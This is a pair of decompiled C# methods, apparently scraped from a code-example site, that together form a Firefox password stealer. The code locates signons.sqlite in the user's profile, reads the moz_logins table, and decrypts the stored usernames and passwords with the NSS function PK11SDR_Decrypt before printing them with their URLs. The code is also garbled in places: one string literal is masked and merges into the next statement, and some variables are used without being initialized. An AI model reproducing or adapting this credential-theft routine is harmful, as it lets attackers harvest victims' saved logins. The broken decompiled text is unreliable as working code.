Пример #1
0
    // Token: 0x06000035 RID: 53 RVA: 0x00003EFC File Offset: 0x000020FC
    public static int smethod_4(ref Class5.TSECItem tsecitem_0, ref Class5.TSECItem tsecitem_1, int int_0)
    {
        IntPtr procAddress = Class5.GetProcAddress(Class5.intptr_0, "PK11SDR_Decrypt");

        Class5.DLLFunctionDelegate5 dllfunctionDelegate = (Class5.DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class5.DLLFunctionDelegate5));
        return(dllfunctionDelegate(ref tsecitem_0, ref tsecitem_1, int_0));
    }
Пример #2
0
    // Token: 0x06000074 RID: 116 RVA: 0x00004B3C File Offset: 0x00002D3C
    public void method_5()
    {
        bool flag = false;

        Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\";
        string path = Environment.GetEnvironmentVariable("APPDATA") + "\\Mozilla\\Firefox\\Profiles";

        string[] directories = Directory.GetDirectories(path);
        foreach (string text in directories)
        {
            if (flag)
            {
                break;
            }
            string[] files = Directory.GetFiles(text);
            foreach (string text2 in files)
            {
                if (flag)
                {
                    break;
                }
                if (Regex.IsMatch(text2, "signons.sqlite"))
                {
                    Class5.smethod_0(text);
                    Class5.string_0 = text2;
                }
            }
        }
        string string_ = Class5.string_0;

        Class5.TSECItem tsecitem   = default(Class5.TSECItem);
        Class5.TSECItem tsecitem2  = default(Class5.TSECItem);
        Class5.TSECItem tsecitem3  = default(Class5.TSECItem);
        Class7.Class8   @class     = new Class7.Class8(string_);
        DataTable       dataTable  = @class.method_4("SELECT * FROM moz_logins;");
        DataTable       dataTable2 = @class.method_4("SELECT * FROM moz_disabledHosts;");

        try
        {
            foreach (object obj in dataTable2.Rows)
            {
                DataRow dataRow = (DataRow)obj;
            }
        }
        finally
        {
            IEnumerator enumerator;
            if (enumerator is IDisposable)
            {
                (enumerator as IDisposable).Dispose();
            }
        }
        long long_ = Class5.smethod_1();

        Class5.smethod_2(long_, true, 0L);
        checked
        {
            try
            {
                foreach (object obj2 in dataTable.Rows)
                {
                    DataRow dataRow2 = (DataRow)obj2;
                    string  str      = Convert.ToString(dataRow2["formSubmitURL"].ToString());
                    this.TextBox1.Text = this.TextBox1.Text + Environment.NewLine + "URL: " + str;
                    StringBuilder   stringBuilder = new StringBuilder(dataRow2["encryptedUsername"].ToString());
                    int             value         = Class5.smethod_3(IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Length);
                    IntPtr          intPtr        = new IntPtr(value);
                    Class5.TSECItem tsecitem4     = (Class5.TSECItem)Marshal.PtrToStructure(intPtr, typeof(Class5.TSECItem));
                    if (Class5.smethod_4(ref tsecitem4, ref tsecitem2, 0) == 0 && tsecitem2.int_2 != 0)
                    {
                        byte[] array3 = new byte[tsecitem2.int_2 - 1 + 1];
                        intPtr = new IntPtr(tsecitem2.int_1);
                        Marshal.Copy(intPtr, array3, 0, tsecitem2.int_2);
                        this.TextBox1.Text = this.TextBox1.Text + Environment.NewLine + "Username: "******"encryptedPassword"].ToString());
                    int           value2         = Class5.smethod_3(IntPtr.Zero, IntPtr.Zero, stringBuilder2, stringBuilder2.Length);
                    intPtr = new IntPtr(value2);
                    Class5.TSECItem tsecitem5 = (Class5.TSECItem)Marshal.PtrToStructure(intPtr, typeof(Class5.TSECItem));
                    if (Class5.smethod_4(ref tsecitem5, ref tsecitem3, 0) == 0 && tsecitem3.int_2 != 0)
                    {
                        byte[] array3 = new byte[tsecitem3.int_2 - 1 + 1];
                        intPtr = new IntPtr(tsecitem3.int_1);
                        Marshal.Copy(intPtr, array3, 0, tsecitem3.int_2);
                        this.TextBox1.Text = string.Concat(new string[]
                        {
                            this.TextBox1.Text,
                            Environment.NewLine,
                            "Password: "******"\r\n"
                        });
                    }
                }
            }
            finally
            {
                IEnumerator enumerator2;
                if (enumerator2 is IDisposable)
                {
                    (enumerator2 as IDisposable).Dispose();
                }
            }
        }
    }